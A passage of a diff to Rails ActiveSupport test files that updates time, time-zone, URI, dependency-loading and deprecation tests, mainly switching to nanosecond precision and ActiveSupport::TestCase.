+    assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,29,0,0,0).end_of_week #wednesday
+    assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,30,0,0,0).end_of_week #thursday
+    assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,31,0,0,0).end_of_week #friday
+    assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,9,01,0,0,0).end_of_week #saturday
+    assert_equal Time.local(2007,9,2,23,59,59,Rational(999999999, 1000)), Time.local(2007,9,02,0,0,0).end_of_week #sunday
+  end
+
+  def test_end_of_hour
+    assert_equal Time.local(2005,2,4,19,59,59,Rational(999999999, 1000)), Time.local(2005,2,4,19,30,10).end_of_hour
   end
 
   def test_end_of_month
-    assert_equal Time.local(2005,3,31,23,59,59,999999.999), Time.local(2005,3,20,10,10,10).end_of_month
-    assert_equal Time.local(2005,2,28,23,59,59,999999.999), Time.local(2005,2,20,10,10,10).end_of_month
-    assert_equal Time.local(2005,4,30,23,59,59,999999.999), Time.local(2005,4,20,10,10,10).end_of_month
+    assert_equal Time.local(2005,3,31,23,59,59,Rational(999999999, 1000)), Time.local(2005,3,20,10,10,10).end_of_month
+    assert_equal Time.local(2005,2,28,23,59,59,Rational(999999999, 1000)), Time.local(2005,2,20,10,10,10).end_of_month
+    assert_equal Time.local(2005,4,30,23,59,59,Rational(999999999, 1000)), Time.local(2005,4,20,10,10,10).end_of_month
   end
 
   def test_end_of_quarter
-    assert_equal Time.local(2007,3,31,23,59,59,999999.999), Time.local(2007,2,15,10,10,10).end_of_quarter
-    assert_equal Time.local(2007,3,31,23,59,59,999999.999), Time.local(2007,3,31,0,0,0).end_of_quarter
-    assert_equal Time.local(2007,12,31,23,59,59,999999.999), Time.local(2007,12,21,10,10,10).end_of_quarter
-    assert_equal Time.local(2007,6,30,23,59,59,999999.999), Time.local(2007,4,1,0,0,0).end_of_quarter
-    assert_equal Time.local(2008,6,30,23,59,59,999999.999), Time.local(2008,5,31,0,0,0).end_of_quarter
+    assert_equal Time.local(2007,3,31,23,59,59,Rational(999999999, 1000)), Time.local(2007,2,15,10,10,10).end_of_quarter
+    assert_equal Time.local(2007,3,31,23,59,59,Rational(999999999, 1000)), Time.local(2007,3,31,0,0,0).end_of_quarter
+    assert_equal Time.local(2007,12,31,23,59,59,Rational(999999999, 1000)), Time.local(2007,12,21,10,10,10).end_of_quarter
+    assert_equal Time.local(2007,6,30,23,59,59,Rational(999999999, 1000)), Time.local(2007,4,1,0,0,0).end_of_quarter
+    assert_equal Time.local(2008,6,30,23,59,59,Rational(999999999, 1000)), Time.local(2008,5,31,0,0,0).end_of_quarter
   end
 
   def test_end_of_year
-    assert_equal Time.local(2007,12,31,23,59,59,999999.999), Time.local(2007,2,22,10,10,10).end_of_year
-    assert_equal Time.local(2007,12,31,23,59,59,999999.999), Time.local(2007,12,31,10,10,10).end_of_year
+    assert_equal Time.local(2007,12,31,23,59,59,Rational(999999999, 1000)), Time.local(2007,2,22,10,10,10).end_of_year
+    assert_equal Time.local(2007,12,31,23,59,59,Rational(999999999, 1000)), Time.local(2007,12,31,10,10,10).end_of_year
   end
 
   def test_beginning_of_year
@@ -178,6 +206,10 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Time.local(2004,6,5,10),  Time.local(2005,6,5,10,0,0).prev_year
   end
 
+  def test_last_year
+    assert_equal Time.local(2004,6,5,10),  Time.local(2005,6,5,10,0,0).last_year
+  end
+
   def test_next_year
     assert_equal Time.local(2006,6,5,10), Time.local(2005,6,5,10,0,0).next_year
   end
@@ -427,6 +459,15 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Time.utc(2005,2,22,15,45),    Time.utc(2005,2,22,15,15,10).change(:min => 45)
   end
 
+  def test_offset_change
+    assert_equal Time.new(2006,2,22,15,15,10,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:year => 2006)
+    assert_equal Time.new(2005,6,22,15,15,10,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:month => 6)
+    assert_equal Time.new(2012,9,22,15,15,10,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:year => 2012, :month => 9)
+    assert_equal Time.new(2005,2,22,16,0,0,"-08:00"),   Time.new(2005,2,22,15,15,10,"-08:00").change(:hour => 16)
+    assert_equal Time.new(2005,2,22,16,45,0,"-08:00"),  Time.new(2005,2,22,15,15,10,"-08:00").change(:hour => 16, :min => 45)
+    assert_equal Time.new(2005,2,22,15,45,0,"-08:00"),  Time.new(2005,2,22,15,15,10,"-08:00").change(:min => 45)
+  end
+
   def test_advance
     assert_equal Time.local(2006,2,28,15,15,10), Time.local(2005,2,28,15,15,10).advance(:years => 1)
     assert_equal Time.local(2005,6,28,15,15,10), Time.local(2005,2,28,15,15,10).advance(:months => 4)
@@ -471,6 +512,33 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Time.utc(2013,10,17,20,22,19), Time.utc(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5, :hours => 5, :minutes => 7, :seconds => 9)
   end
 
+  def test_offset_advance
+    assert_equal Time.new(2006,2,22,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00').advance(:years => 1)
+    assert_equal Time.new(2005,6,22,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00').advance(:months => 4)
+    assert_equal Time.new(2005,3,21,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:weeks => 3)
+    assert_equal Time.new(2005,3,25,3,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:weeks => 3.5)
+    assert_in_delta Time.new(2005,3,26,12,51,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:weeks => 3.7), 1
+    assert_equal Time.new(2005,3,5,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:days => 5)
+    assert_equal Time.new(2005,3,6,3,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:days => 5.5)
+    assert_in_delta Time.new(2005,3,6,8,3,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:days => 5.7), 1
+    assert_equal Time.new(2012,9,22,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00').advance(:years => 7, :months => 7)
+    assert_equal Time.new(2013,10,3,15,15,10,'-08:00'), Time.new(2005,2,22,15,15,10,'-08:00').advance(:years => 7, :months => 19, :days => 11)
+    assert_equal Time.new(2013,10,17,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:years => 7, :months => 19, :weeks => 2, :days => 5)
+    assert_equal Time.new(2001,12,27,15,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:years => -3, :months => -2, :days => -1)
+    assert_equal Time.new(2005,2,28,15,15,10,'-08:00'), Time.new(2004,2,29,15,15,10,'-08:00').advance(:years => 1) #leap day plus one year
+    assert_equal Time.new(2005,2,28,20,15,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:hours => 5)
+    assert_equal Time.new(2005,2,28,15,22,10,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:minutes => 7)
+    assert_equal Time.new(2005,2,28,15,15,19,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:seconds => 9)
+    assert_equal Time.new(2005,2,28,20,22,19,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:hours => 5, :minutes => 7, :seconds => 9)
+    assert_equal Time.new(2005,2,28,10,8,1,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:hours => -5, :minutes => -7, :seconds => -9)
+    assert_equal Time.new(2013,10,17,20,22,19,'-08:00'), Time.new(2005,2,28,15,15,10,'-08:00').advance(:years => 7, :months => 19, :weeks => 2, :days => 5, :hours => 5, :minutes => 7, :seconds => 9)
+  end
+
+  def test_advance_with_nsec
+    t = Time.at(0, Rational(108635108, 1000))
+    assert_equal t, t.advance(:months => 0)
+  end
+
   def test_prev_week
     with_env_tz 'US/Eastern' do
       assert_equal Time.local(2005,2,21), Time.local(2005,3,1,15,15,10).prev_week
@@ -481,6 +549,16 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     end
   end
 
+  def test_last_week
+    with_env_tz 'US/Eastern' do
+      assert_equal Time.local(2005,2,21), Time.local(2005,3,1,15,15,10).last_week
+      assert_equal Time.local(2005,2,22), Time.local(2005,3,1,15,15,10).last_week(:tuesday)
+      assert_equal Time.local(2005,2,25), Time.local(2005,3,1,15,15,10).last_week(:friday)
+      assert_equal Time.local(2006,10,30), Time.local(2006,11,6,0,0,0).last_week
+      assert_equal Time.local(2006,11,15), Time.local(2006,11,23,0,0,0).last_week(:wednesday)
+    end
+  end
+
   def test_next_week
     with_env_tz 'US/Eastern' do
       assert_equal Time.local(2005,2,28), Time.local(2005,2,22,15,15,10).next_week
@@ -510,12 +588,14 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
   end
 
   def test_to_s
-    time = Time.utc(2005, 2, 21, 17, 44, 30)
+    time = Time.utc(2005, 2, 21, 17, 44, 30.12345678901)
     assert_equal time.to_default_s,                 time.to_s
     assert_equal time.to_default_s,                 time.to_s(:doesnt_exist)
     assert_equal "2005-02-21 17:44:30",             time.to_s(:db)
     assert_equal "21 Feb 17:44",                    time.to_s(:short)
     assert_equal "17:44",                           time.to_s(:time)
+    assert_equal "20050221174430",                  time.to_s(:number)
+    assert_equal "20050221174430123456789",         time.to_s(:nsec)
     assert_equal "February 21, 2005 17:44",         time.to_s(:long)
     assert_equal "February 21st, 2005 17:44",       time.to_s(:long_ordinal)
     with_env_tz "UTC" do
@@ -593,14 +673,14 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
     assert_equal Time.time_with_datetime_fallback(:local, 2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
     assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0)
-    assert_equal Time.time_with_datetime_fallback(:local, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, DateTime.local_offset)
+    assert_equal Time.time_with_datetime_fallback(:local, 2039, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 2039, 2, 21, 17, 44, 30)
     assert_equal Time.time_with_datetime_fallback(:utc, 1900, 2, 21, 17, 44, 30), DateTime.civil(1900, 2, 21, 17, 44, 30, 0)
     assert_equal Time.time_with_datetime_fallback(:utc, 2005), Time.utc(2005)
     assert_equal Time.time_with_datetime_fallback(:utc, 2039), DateTime.civil(2039, 1, 1, 0, 0, 0, 0)
     assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30, 1), Time.utc(2005, 2, 21, 17, 44, 30, 1) #with usec
     # This won't overflow on 64bit linux
     unless time_is_64bits?
-      assert_equal Time.time_with_datetime_fallback(:local, 1900, 2, 21, 17, 44, 30), DateTime.civil(1900, 2, 21, 17, 44, 30, DateTime.local_offset, 0)
+      assert_equal Time.time_with_datetime_fallback(:local, 1900, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 1900, 2, 21, 17, 44, 30)
       assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1),
                    DateTime.civil(2039, 2, 21, 17, 44, 30, 0, 0)
       assert_equal ::Date::ITALY, Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1).start # use Ruby's default start value
@@ -622,10 +702,10 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
 
   def test_local_time
     assert_equal Time.local_time(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
-    assert_equal Time.local_time(2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, DateTime.local_offset)
+    assert_equal Time.local_time(2039, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 2039, 2, 21, 17, 44, 30)
 
     unless time_is_64bits?
-      assert_equal Time.local_time(1901, 2, 21, 17, 44, 30), DateTime.civil(1901, 2, 21, 17, 44, 30, DateTime.local_offset)
+      assert_equal Time.local_time(1901, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 1901, 2, 21, 17, 44, 30)
     end
   end
 
@@ -637,6 +717,10 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal Time.local(2004, 2, 29), Time.local(2004, 3, 31).prev_month
   end
 
+  def test_last_month_on_31st
+    assert_equal Time.local(2004, 2, 29), Time.local(2004, 3, 31).last_month
+  end
+
   def test_xmlschema_is_available
     assert_nothing_raised { Time.now.xmlschema }
   end
@@ -744,6 +828,12 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     assert_equal(-1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone['UTC'] ))
   end
 
+  def test_eql?
+    assert_equal true, Time.utc(2000).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) )
+    assert_equal true, Time.utc(2000).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) )
+    assert_equal false,Time.utc(2000, 1, 1, 0, 0, 1).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) )
+  end
+
   def test_minus_with_time_with_zone
     assert_equal  86_400.0, Time.utc(2000, 1, 2) - ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['UTC'] )
   end
@@ -771,23 +861,32 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
   end
 
   def test_all_day
-    assert_equal Time.local(2011,6,7,0,0,0)..Time.local(2011,6,7,23,59,59,999999.999), Time.local(2011,6,7,10,10,10).all_day
+    assert_equal Time.local(2011,6,7,0,0,0)..Time.local(2011,6,7,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_day
+  end
+
+  def test_all_day_with_timezone
+    beginning_of_day = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], Time.local(2011,6,7,0,0,0))
+    end_of_day = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], Time.local(2011,6,7,23,59,59,Rational(999999999, 1000)))
+
+    assert_equal beginning_of_day, ActiveSupport::TimeWithZone.new(Time.local(2011,6,7,10,10,10), ActiveSupport::TimeZone["Hawaii"]).all_day.begin
+    assert_equal end_of_day, ActiveSupport::TimeWithZone.new(Time.local(2011,6,7,10,10,10), ActiveSupport::TimeZone["Hawaii"]).all_day.end
   end
 
   def test_all_week
-    assert_equal Time.local(2011,6,6,0,0,0)..Time.local(2011,6,12,23,59,59,999999.999), Time.local(2011,6,7,10,10,10).all_week
+    assert_equal Time.local(2011,6,6,0,0,0)..Time.local(2011,6,12,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_week
+    assert_equal Time.local(2011,6,5,0,0,0)..Time.local(2011,6,11,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_week(:sunday)
   end
 
   def test_all_month
-    assert_equal Time.local(2011,6,1,0,0,0)..Time.local(2011,6,30,23,59,59,999999.999), Time.local(2011,6,7,10,10,10).all_month
+    assert_equal Time.local(2011,6,1,0,0,0)..Time.local(2011,6,30,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_month
   end
 
   def test_all_quarter
-    assert_equal Time.local(2011,4,1,0,0,0)..Time.local(2011,6,30,23,59,59,999999.999), Time.local(2011,6,7,10,10,10).all_quarter
+    assert_equal Time.local(2011,4,1,0,0,0)..Time.local(2011,6,30,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_quarter
   end
 
   def test_all_year
-    assert_equal Time.local(2011,1,1,0,0,0)..Time.local(2011,12,31,23,59,59,999999.999), Time.local(2011,6,7,10,10,10).all_year
+    assert_equal Time.local(2011,1,1,0,0,0)..Time.local(2011,12,31,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_year
   end
 
   protected
@@ -803,7 +902,7 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
     end
 end
 
-class TimeExtMarshalingTest < Test::Unit::TestCase
+class TimeExtMarshalingTest < ActiveSupport::TestCase
   def test_marshaling_with_utc_instance
     t = Time.utc(2000)
     unmarshaled = Marshal.load(Marshal.dump(t))
@@ -838,4 +937,17 @@ class TimeExtMarshalingTest < Test::Unit::TestCase
     assert_equal t.to_f, unmarshaled.to_f
     assert_equal t, unmarshaled
   end
+
+
+  def test_next_quarter_on_31st
+    assert_equal Time.local(2005, 11, 30), Time.local(2005, 8, 31).next_quarter
+  end
+
+  def test_prev_quarter_on_31st
+    assert_equal Time.local(2004, 2, 29), Time.local(2004, 5, 31).prev_quarter
+  end
+
+  def test_last_quarter_on_31st
+    assert_equal Time.local(2004, 2, 29), Time.local(2004, 5, 31).last_quarter
+  end
 end
diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb
index b2309ae806..1293f104e5 100644
--- a/activesupport/test/core_ext/time_with_zone_test.rb
+++ b/activesupport/test/core_ext/time_with_zone_test.rb
@@ -2,7 +2,7 @@ require 'abstract_unit'
 require 'active_support/time'
 require 'active_support/json'
 
-class TimeWithZoneTest < Test::Unit::TestCase
+class TimeWithZoneTest < ActiveSupport::TestCase
 
   def setup
     @utc = Time.utc(2000, 1, 1, 0)
@@ -80,6 +80,14 @@ class TimeWithZoneTest < Test::Unit::TestCase
     ActiveSupport.use_standard_json_time_format = old
   end
 
+  def test_nsec
+    local     = Time.local(2011,6,7,23,59,59,Rational(999999999, 1000))
+    with_zone = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], local)
+
+    assert_equal local.nsec, with_zone.nsec
+    assert_equal with_zone.nsec, 999999999
+  end
+
   def test_strftime
     assert_equal '1999-12-31 19:00:00 EST -0500', @twz.strftime('%Y-%m-%d %H:%M:%S %Z %z')
   end
@@ -191,7 +199,7 @@ class TimeWithZoneTest < Test::Unit::TestCase
     end
   end
 
-  def future_with_time_current_as_time_with_zone
+  def test_future_with_time_current_as_time_with_zone
     twz = ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45) )
     Time.stubs(:current).returns(twz)
     assert_equal false,  ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).future?
@@ -200,8 +208,15 @@ class TimeWithZoneTest < Test::Unit::TestCase
   end
 
   def test_eql?
-    assert @twz.eql?(Time.utc(2000))
-    assert @twz.eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) )
+    assert_equal true, @twz.eql?(Time.utc(2000))
+    assert_equal true, @twz.eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) )
+    assert_equal false, @twz.eql?( Time.utc(2000, 1, 1, 0, 0, 1) )
+    assert_equal false, @twz.eql?( DateTime.civil(1999, 12, 31, 23, 59, 59) )
+  end
+
+  def test_hash
+    assert_equal Time.utc(2000).hash, @twz.hash
+    assert_equal Time.utc(2000).hash, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]).hash
   end
 
   def test_plus_with_integer
@@ -441,9 +456,9 @@ class TimeWithZoneTest < Test::Unit::TestCase
   end
 
   def test_ruby_19_weekday_name_query_methods
-    ruby_19_or_greater = RUBY_VERSION >= '1.9'
     %w(sunday? monday? tuesday? wednesday? thursday? friday? saturday?).each do |name|
-      assert_equal ruby_19_or_greater, @twz.respond_to?(name)
+      assert_respond_to @twz, name
+      assert_equal @twz.send(name), @twz.method(name).call
     end
   end
 
@@ -476,36 +491,50 @@ class TimeWithZoneTest < Test::Unit::TestCase
     assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.advance(:seconds => 30).inspect
   end
 
-  def beginning_of_year
+  def test_beginning_of_year
     assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
     assert_equal "Fri, 01 Jan 1999 00:00:00 EST -05:00", @twz.beginning_of_year.inspect
   end
 
-  def end_of_year
+  def test_end_of_year
     assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
     assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_year.inspect
   end
 
-  def beginning_of_month
+  def test_beginning_of_month
     assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
-    assert_equal "Fri, 01 Dec 1999 00:00:00 EST -05:00", @twz.beginning_of_month.inspect
+    assert_equal "Wed, 01 Dec 1999 00:00:00 EST -05:00", @twz.beginning_of_month.inspect
   end
 
-  def end_of_month
+  def test_end_of_month
     assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
     assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_month.inspect
   end
 
-  def beginning_of_day
+  def test_beginning_of_day
     assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
     assert_equal "Fri, 31 Dec 1999 00:00:00 EST -05:00", @twz.beginning_of_day.inspect
   end
 
-  def end_of_day
+  def test_end_of_day
     assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
     assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_day.inspect
   end
 
+  def test_beginning_of_hour
+    utc = Time.utc(2000, 1, 1, 0, 30)
+    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+    assert_equal "Fri, 31 Dec 1999 19:30:00 EST -05:00", twz.inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", twz.beginning_of_hour.inspect
+  end
+
+  def test_end_of_hour
+    utc = Time.utc(2000, 1, 1, 0, 30)
+    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+    assert_equal "Fri, 31 Dec 1999 19:30:00 EST -05:00", twz.inspect
+    assert_equal "Fri, 31 Dec 1999 19:59:59 EST -05:00", twz.end_of_hour.inspect
+  end
+
   def test_since
     assert_equal "Fri, 31 Dec 1999 19:00:01 EST -05:00", @twz.since(1).inspect
   end
@@ -730,7 +759,7 @@ class TimeWithZoneTest < Test::Unit::TestCase
     end
 end
 
-class TimeWithZoneMethodsForTimeAndDateTimeTest < Test::Unit::TestCase
+class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
   def setup
     @t, @dt = Time.utc(2000), DateTime.civil(2000)
   end
diff --git a/activesupport/test/core_ext/uri_ext_test.rb b/activesupport/test/core_ext/uri_ext_test.rb
index d988837603..03e388dd7a 100644
--- a/activesupport/test/core_ext/uri_ext_test.rb
+++ b/activesupport/test/core_ext/uri_ext_test.rb
@@ -3,15 +3,11 @@ require 'abstract_unit'
 require 'uri'
 require 'active_support/core_ext/uri'
 
-class URIExtTest < Test::Unit::TestCase
+class URIExtTest < ActiveSupport::TestCase
   def test_uri_decode_handle_multibyte
     str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
 
-    if URI.const_defined?(:Parser)
-      parser = URI::Parser.new
-      assert_equal str, parser.unescape(parser.escape(str))
-    else
-      assert_equal str, URI.unescape(URI.escape(str))
-    end
+    parser = URI::Parser.new
+    assert_equal str, parser.unescape(parser.escape(str))
   end
 end
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
index fe8f51e11a..69829bcda5 100644
--- a/activesupport/test/dependencies_test.rb
+++ b/activesupport/test/dependencies_test.rb
@@ -14,7 +14,7 @@ module ModuleWithConstant
   InheritedConstant = "Hello"
 end
 
-class DependenciesTest < Test::Unit::TestCase
+class DependenciesTest < ActiveSupport::TestCase
   def teardown
     ActiveSupport::Dependencies.clear
   end
@@ -39,6 +39,19 @@ class DependenciesTest < Test::Unit::TestCase
     with_loading 'autoloading_fixtures', &block
   end
 
+  def test_depend_on_path
+    skip "LoadError#path does not exist" if RUBY_VERSION < '2.0.0'
+
+    expected = assert_raises(LoadError) do
+      Kernel.require 'omgwtfbbq'
+    end
+
+    e = assert_raises(LoadError) do
+      ActiveSupport::Dependencies.depend_on 'omgwtfbbq'
+    end
+    assert_equal expected.path, e.path
+  end
+
   def test_tracking_loaded_files
     require_dependency 'dependencies/service_one'
     require_dependency 'dependencies/service_two'
@@ -60,10 +73,6 @@ class DependenciesTest < Test::Unit::TestCase
     assert_raise(MissingSourceFile) { require_dependency("missing_service") }
   end
 
-  def test_missing_association_raises_nothing
-    assert_nothing_raised { require_association("missing_model") }
-  end
-
   def test_dependency_which_raises_exception_isnt_added_to_loaded_set
     with_loading do
       filename = 'dependencies/raises_exception'
@@ -258,6 +267,85 @@ class DependenciesTest < Test::Unit::TestCase
     $:.replace(original_path)
   end
 
+  def test_require_returns_true_when_file_not_yet_required
+    path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
+    original_path = $:.dup
+    original_features = $".dup
+    $:.push(path)
+
+    with_loading do
+      assert_equal true, require('loaded_constant')
+    end
+  ensure
+    remove_constants(:LoadedConstant)
+    $".replace(original_features)
+    $:.replace(original_path)
+  end
+
+  def test_require_returns_true_when_file_not_yet_required_even_when_no_new_constants_added
+    path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
+    original_path = $:.dup
+    original_features = $".dup
+    $:.push(path)
+
+    with_loading do
+      Object.module_eval "module LoadedConstant; end"
+      assert_equal true, require('loaded_constant')
+    end
+  ensure
+    remove_constants(:LoadedConstant)
+    $".replace(original_features)
+    $:.replace(original_path)
+  end
+
+  def test_require_returns_false_when_file_already_required
+    path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
+    original_path = $:.dup
+    original_features = $".dup
+    $:.push(path)
+
+    with_loading do
+      require 'loaded_constant'
+      assert_equal false, require('loaded_constant')
+    end
+  ensure
+    remove_constants(:LoadedConstant)
+    $".replace(original_features)
+    $:.replace(original_path)
+  end
+
+  def test_require_raises_load_error_when_file_not_found
+    with_loading do
+      assert_raise(LoadError) { require 'this_file_dont_exist_dude' }
+    end
+  ensure
+    remove_constants(:LoadedConstant)
+  end
+
+  def test_load_returns_true_when_file_found
+    path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
+    original_path = $:.dup
+    original_features = $".dup
+    $:.push(path)
+
+    with_loading do
+      assert_equal true, load('loaded_constant.rb')
+      assert_equal true, load('loaded_constant.rb')
+    end
+  ensure
+    remove_constants(:LoadedConstant)
+    $".replace(original_features)
+    $:.replace(original_path)
+  end
+
+  def test_load_raises_load_error_when_file_not_found
+    with_loading do
+      assert_raise(LoadError) { load 'this_file_dont_exist_dude.rb' }
+    end
+  ensure
+    remove_constants(:LoadedConstant)
+  end
+
   def failing_test_access_thru_and_upwards_fails
     with_autoloading_fixtures do
       assert ! defined?(ModuleFolder)
@@ -334,7 +422,7 @@ class DependenciesTest < Test::Unit::TestCase
     assert ActiveSupport::Dependencies.qualified_const_defined?("Object")
     assert ActiveSupport::Dependencies.qualified_const_defined?("::Object")
     assert ActiveSupport::Dependencies.qualified_const_defined?("::Object::Kernel")
-    assert ActiveSupport::Dependencies.qualified_const_defined?("::Test::Unit::TestCase")
+    assert ActiveSupport::Dependencies.qualified_const_defined?("::ActiveSupport::TestCase")
   end
 
   def test_qualified_const_defined_should_not_call_const_missing
diff --git a/activesupport/test/deprecation/proxy_wrappers_test.rb b/activesupport/test/deprecation/proxy_wrappers_test.rb
index aa887f274d..e4f0f0f7c2 100644
--- a/activesupport/test/deprecation/proxy_wrappers_test.rb
+++ b/activesupport/test/deprecation/proxy_wrappers_test.rb
@@ -1,7 +1,7 @@
 require 'abstract_unit'
 require 'active_support/deprecation'
 
-class ProxyWrappersTest < Test::Unit::TestCase
+class ProxyWrappersTest < ActiveSupport::TestCase
   Waffles     = false
   NewWaffles  = :hamburgers
 
diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb
index d77a62f108..e21f3efe36 100644
--- a/activesupport/test/deprecation_test.rb
+++ b/activesupport/test/deprecation_test.rb
@@ -93,6 +93,26 @@ class DeprecationTest < ActiveSupport::TestCase
     assert_match(/foo=nil/, @b)
   end
 
+  def test_default_stderr_behavior
+    ActiveSupport::Deprecation.behavior = :stderr
+    behavior = ActiveSupport::Deprecation.behavior.first
+
+    content = capture(:stderr) {
+      assert_nil behavior.call('Some error!', ['call stack!'])
+    }
+    assert_match(/Some error!/, content)
+    assert_match(/call stack!/, content)
+  end
+
+  def test_default_silence_behavior
+    ActiveSupport::Deprecation.behavior = :silence
+    behavior = ActiveSupport::Deprecation.behavior.first
+
+    assert_blank capture(:stderr) {
+      assert_nil behavior.call('Some error!', ['call stack!'])
+    }
+  end
+
   def test_deprecated_instance_variable_proxy
     assert_not_deprecated { @dtc.request.size }
 
@@ -120,7 +140,7 @@ class DeprecationTest < ActiveSupport::TestCase
       ActiveSupport::Deprecation.warn 'abc'
       ActiveSupport::Deprecation.warn 'def'
     end
-  rescue Test::Unit::AssertionFailedError
+  rescue MiniTest::Assertion
     flunk 'assert_deprecated should match any warning in block, not just the last one'
   end
 
